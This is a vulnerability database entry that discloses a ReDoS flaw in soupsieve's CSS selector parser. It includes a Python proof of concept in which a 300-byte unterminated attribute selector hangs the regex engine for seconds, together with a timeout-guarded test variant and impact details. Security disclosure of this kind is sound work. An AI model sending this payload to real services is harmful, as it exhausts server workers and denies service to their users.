PYSEC-2026-3072

Vulnerability from pysec - Published: 2026-07-13 15:46 - Updated: 2026-07-13 16:06
VLAI
Details

Summary

The CSS selector parser in soupsieve (the CSS selector engine for Beautiful Soup 4) contains a regular expression vulnerable to catastrophic backtracking. When processing an attribute selector with an unterminated quoted value, the VALUE regex pattern in css_parser.py enters exponential backtracking. A payload of only 300 bytes causes the regex engine to hang for over 3 seconds, enabling a trivial Regular Expression Denial of Service (ReDoS) attack.

To be completely transparent, AI tools helped surface this issue. However, this was independently reproduced and carefully validated.

Any application that passes untrusted CSS selector strings to soupsieve.compile() or Beautiful Soup's .select() / .select_one() is affected.

Details

Affected code: soupsieve/css_parser.py, line ~121 - RE_VALUES / VALUE regex pattern

The soupsieve CSS parser uses a compiled regular expression to tokenise attribute selector values. This pattern matches both quoted strings ("value" or 'value') and unquoted identifiers. The regex contains alternation branches for:

  1. Double-quoted strings: "[^"\\]*(?:\\.[^"\\]*)*"
  2. Single-quoted strings: '[^'\\]*(?:\\.[^'\\]*)*'
  3. Unquoted identifiers

When an attribute selector contains an unterminated quoted value - e.g., [a="xxxx... (opening " but no closing ") -” the regex engine attempts to match the quoted-string branch. After that branch fails (no closing quote), the engine backtracks and attempts to match the remaining input against subsequent alternation branches and parent patterns. The structure of the pattern causes catastrophic backtracking where the number of backtracking steps grows exponentially with the length of the content between the opening quote and the end of the string.

Root cause: The regex pattern does not anchor or guard against the case where a quoted string is never terminated. The overlapping character classes across alternation branches create exponential backtracking when the quoted-string branch fails on long input.

Key characteristics: - Input size: Only 300 bytes are needed to trigger a >3 second hang - Amplification: Each additional character approximately doubles the backtracking time - No memory impact: The attack consumes CPU only (regex backtracking is compute-bound)

Proof of Concept

import time
import soupsieve as sv

PAYLOAD_LEN = 300

# Control: well-formed selector with terminated quote (completes instantly)
well_formed = '[a="' + ('x' * PAYLOAD_LEN) + '"]'
start = time.perf_counter()
try:
    sv.compile(well_formed)
except Exception:
    pass
control_time = time.perf_counter() - start
print(f"Well-formed selector ({len(well_formed)} bytes): {control_time:.4f}s")

# Exploit: unterminated quote triggers catastrophic regex backtracking
malformed = '[a="' + ('x' * PAYLOAD_LEN)
start = time.perf_counter()
try:
    sv.compile(malformed)  # WARNING: This will hang for >3 seconds
except Exception:
    pass
exploit_time = time.perf_counter() - start
print(f"Malformed selector ({len(malformed)} bytes): {exploit_time:.4f}s")

slowdown = exploit_time / max(control_time, 1e-9)
print(f"Slowdown: {slowdown:.0f}x")

# Expected output:
# Well-formed selector (306 bytes): ~0.001s
# Malformed selector (304 bytes): >3.0s (may need to be killed)
# Slowdown: >3000x
#
# NOTE: On some systems the malformed selector may hang indefinitely.
# Use a timeout mechanism (signal.alarm, threading.Timer) when testing.

Safe testing variant with timeout:

import signal
import soupsieve as sv

def timeout_handler(signum, frame):
    raise TimeoutError("ReDoS confirmed: regex backtracking exceeded timeout")

PAYLOAD_LEN = 300
malformed = '[a="' + ('x' * PAYLOAD_LEN)

signal.signal(signal.SIGALRM, timeout_handler)
signal.alarm(3)  # 3-second timeout

try:
    sv.compile(malformed)
    print("Selector compiled (not vulnerable)")
except TimeoutError as e:
    print(f"VULNERABLE: {e}")
except Exception as e:
    print(f"Other error: {e}")
finally:
    signal.alarm(0)  # Cancel the alarm

Impact

Severity: High

An attacker can cause CPU exhaustion on any server-side Python application that compiles user-supplied CSS selectors via soupsieve. The attack is particularly dangerous because:

  1. Tiny payload: Only 300 bytes are needed - well within typical URL parameter, form field, or API request limits
  2. No special characters: The payload consists entirely of printable ASCII characters ([a="xxx...)
  3. Exponential scaling: Each additional byte approximately doubles the backtracking time, making the attack easily tuneable
  4. Thread blocking: The regex engine blocks the calling thread with no opportunity for interruption (except via OS signals)
Parameter Value
Input size 300 bytes
CPU time consumed >3 seconds (exponential with payload length)
Memory consumed Negligible (CPU-only attack)
Authentication required None
User interaction required None

Deployment impact: In threaded or async web applications, a single malicious request blocks a worker thread for the duration of the backtracking. An attacker can submit multiple concurrent requests to exhaust all available workers, causing complete service denial. The small payload size makes the attack easy to deliver and difficult to detect via request size limits.

Downstream exposure: soupsieve is an automatic dependency of beautifulsoup4, one of the most widely installed Python packages. Any web application, API, or service that accepts CSS selectors from users is potentially affected.


Credit

The vulnerability was discovered by a security research team from the University of Sydney, whose focus is detecting open source software vulnerabilities. Liyi Zhou: https://lzhou1110.github.io/ Ziyue Wang: https://zyy0530.github.io/ Strick: https://str1ckl4nd.github.io/ Maurice: https://maurice.busystar.org/ Chenchen Yu: https://7thparkk.github.io/

Impacted products
Name purl
soupsieve pkg:pypi/soupsieve

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "soupsieve",
        "purl": "pkg:pypi/soupsieve"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.8.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "0.4",
        "0.5",
        "0.5.1",
        "0.5.2",
        "0.5.3",
        "0.6",
        "1.0",
        "1.0.1",
        "1.0.2",
        "1.0b1",
        "1.0b2",
        "1.1",
        "1.2",
        "1.2.1",
        "1.3",
        "1.3.1",
        "1.4",
        "1.5",
        "1.6",
        "1.6.1",
        "1.6.2",
        "1.7",
        "1.7.1",
        "1.7.2",
        "1.7.3",
        "1.8",
        "1.9",
        "1.9.1",
        "1.9.2",
        "1.9.3",
        "1.9.4",
        "1.9.5",
        "1.9.6",
        "2.0",
        "2.0.1",
        "2.1",
        "2.2",
        "2.2.1",
        "2.3",
        "2.3.1",
        "2.3.2",
        "2.3.2.post1",
        "2.4",
        "2.4.1",
        "2.5",
        "2.6",
        "2.7",
        "2.8",
        "2.8.1",
        "2.8.2",
        "2.8.3"
      ]
    }
  ],
  "aliases": [
    "CVE-2026-49477",
    "GHSA-836r-79rf-4m37"
  ],
  "details": "### Summary\n\nThe CSS selector parser in soupsieve (the CSS selector engine for Beautiful Soup 4) contains a regular expression vulnerable to catastrophic backtracking. When processing an attribute selector with an unterminated quoted value, the `VALUE` regex pattern in `css_parser.py` enters exponential backtracking. A payload of only **300 bytes** causes the regex engine to hang for **over 3 seconds**, enabling a trivial Regular Expression Denial of Service (ReDoS) attack.\n\nTo be completely transparent, AI tools helped surface this issue. However, this was independently reproduced and carefully validated.\n\nAny application that passes untrusted CSS selector strings to `soupsieve.compile()` or Beautiful Soup\u0027s `.select()` / `.select_one()` is affected.\n\n### Details\n\n**Affected code:** `soupsieve/css_parser.py`, line ~121 - `RE_VALUES` / `VALUE` regex pattern\n\nThe soupsieve CSS parser uses a compiled regular expression to tokenise attribute selector values. This pattern matches both quoted strings (`\"value\"` or `\u0027value\u0027`) and unquoted identifiers. The regex contains alternation branches for:\n\n1. Double-quoted strings: `\"[^\"\\\\]*(?:\\\\.[^\"\\\\]*)*\"`\n2. Single-quoted strings: `\u0027[^\u0027\\\\]*(?:\\\\.[^\u0027\\\\]*)*\u0027`\n3. Unquoted identifiers\n\nWhen an attribute selector contains an **unterminated quoted value** - e.g., `[a=\"xxxx...` (opening `\"` but no closing `\"`) -\u201d the regex engine attempts to match the quoted-string branch. After that branch fails (no closing quote), the engine backtracks and attempts to match the remaining input against subsequent alternation branches and parent patterns. The structure of the pattern causes **catastrophic backtracking** where the number of backtracking steps grows exponentially with the length of the content between the opening quote and the end of the string.\n\n**Root cause:** The regex pattern does not anchor or guard against the case where a quoted string is never terminated. The overlapping character classes across alternation branches create exponential backtracking when the quoted-string branch fails on long input.\n\n**Key characteristics:**\n- **Input size:** Only 300 bytes are needed to trigger a \u003e3 second hang\n- **Amplification:** Each additional character approximately doubles the backtracking time\n- **No memory impact:** The attack consumes CPU only (regex backtracking is compute-bound)\n\n### Proof of Concept\n\n```python\nimport time\nimport soupsieve as sv\n\nPAYLOAD_LEN = 300\n\n# Control: well-formed selector with terminated quote (completes instantly)\nwell_formed = \u0027[a=\"\u0027 + (\u0027x\u0027 * PAYLOAD_LEN) + \u0027\"]\u0027\nstart = time.perf_counter()\ntry:\n    sv.compile(well_formed)\nexcept Exception:\n    pass\ncontrol_time = time.perf_counter() - start\nprint(f\"Well-formed selector ({len(well_formed)} bytes): {control_time:.4f}s\")\n\n# Exploit: unterminated quote triggers catastrophic regex backtracking\nmalformed = \u0027[a=\"\u0027 + (\u0027x\u0027 * PAYLOAD_LEN)\nstart = time.perf_counter()\ntry:\n    sv.compile(malformed)  # WARNING: This will hang for \u003e3 seconds\nexcept Exception:\n    pass\nexploit_time = time.perf_counter() - start\nprint(f\"Malformed selector ({len(malformed)} bytes): {exploit_time:.4f}s\")\n\nslowdown = exploit_time / max(control_time, 1e-9)\nprint(f\"Slowdown: {slowdown:.0f}x\")\n\n# Expected output:\n# Well-formed selector (306 bytes): ~0.001s\n# Malformed selector (304 bytes): \u003e3.0s (may need to be killed)\n# Slowdown: \u003e3000x\n#\n# NOTE: On some systems the malformed selector may hang indefinitely.\n# Use a timeout mechanism (signal.alarm, threading.Timer) when testing.\n```\n\n**Safe testing variant with timeout:**\n\n```python\nimport signal\nimport soupsieve as sv\n\ndef timeout_handler(signum, frame):\n    raise TimeoutError(\"ReDoS confirmed: regex backtracking exceeded timeout\")\n\nPAYLOAD_LEN = 300\nmalformed = \u0027[a=\"\u0027 + (\u0027x\u0027 * PAYLOAD_LEN)\n\nsignal.signal(signal.SIGALRM, timeout_handler)\nsignal.alarm(3)  # 3-second timeout\n\ntry:\n    sv.compile(malformed)\n    print(\"Selector compiled (not vulnerable)\")\nexcept TimeoutError as e:\n    print(f\"VULNERABLE: {e}\")\nexcept Exception as e:\n    print(f\"Other error: {e}\")\nfinally:\n    signal.alarm(0)  # Cancel the alarm\n```\n\n### Impact\n\n**Severity: High**\n\nAn attacker can cause CPU exhaustion on any server-side Python application that compiles user-supplied CSS selectors via soupsieve. The attack is particularly dangerous because:\n\n1. **Tiny payload:** Only 300 bytes are needed - well within typical URL parameter, form field, or API request limits\n2. **No special characters:** The payload consists entirely of printable ASCII characters (`[a=\"xxx...`)\n3. **Exponential scaling:** Each additional byte approximately doubles the backtracking time, making the attack easily tuneable\n4. **Thread blocking:** The regex engine blocks the calling thread with no opportunity for interruption (except via OS signals)\n\n| Parameter | Value |\n|---|---|\n| Input size | 300 bytes |\n| CPU time consumed | \u003e3 seconds (exponential with payload length) |\n| Memory consumed | Negligible (CPU-only attack) |\n| Authentication required | None |\n| User interaction required | None |\n\n**Deployment impact:** In threaded or async web applications, a single malicious request blocks a worker thread for the duration of the backtracking. An attacker can submit multiple concurrent requests to exhaust all available workers, causing complete service denial. The small payload size makes the attack easy to deliver and difficult to detect via request size limits.\n\n**Downstream exposure:** soupsieve is an automatic dependency of `beautifulsoup4`, one of the most widely installed Python packages. Any web application, API, or service that accepts CSS selectors from users is potentially affected.\n\n---\n\n### Credit\n\nThe vulnerability was discovered by a security research team from the University of Sydney, whose focus is detecting open source software vulnerabilities.\nLiyi Zhou: https://lzhou1110.github.io/\nZiyue Wang: https://zyy0530.github.io/\nStrick: https://str1ckl4nd.github.io/\nMaurice: https://maurice.busystar.org/\nChenchen Yu: https://7thparkk.github.io/",
  "id": "PYSEC-2026-3072",
  "modified": "2026-07-13T16:06:20.022009Z",
  "published": "2026-07-13T15:46:30.094646Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/facelessuser/soupsieve/security/advisories/GHSA-836r-79rf-4m37"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/facelessuser/soupsieve"
    },
    {
      "type": "PACKAGE",
      "url": "https://pypi.org/project/soupsieve"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-836r-79rf-4m37"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-49477"
    }
  ],
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Soup Sieve: Regular Expression Denial of Service (ReDoS) via Selector Parser"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…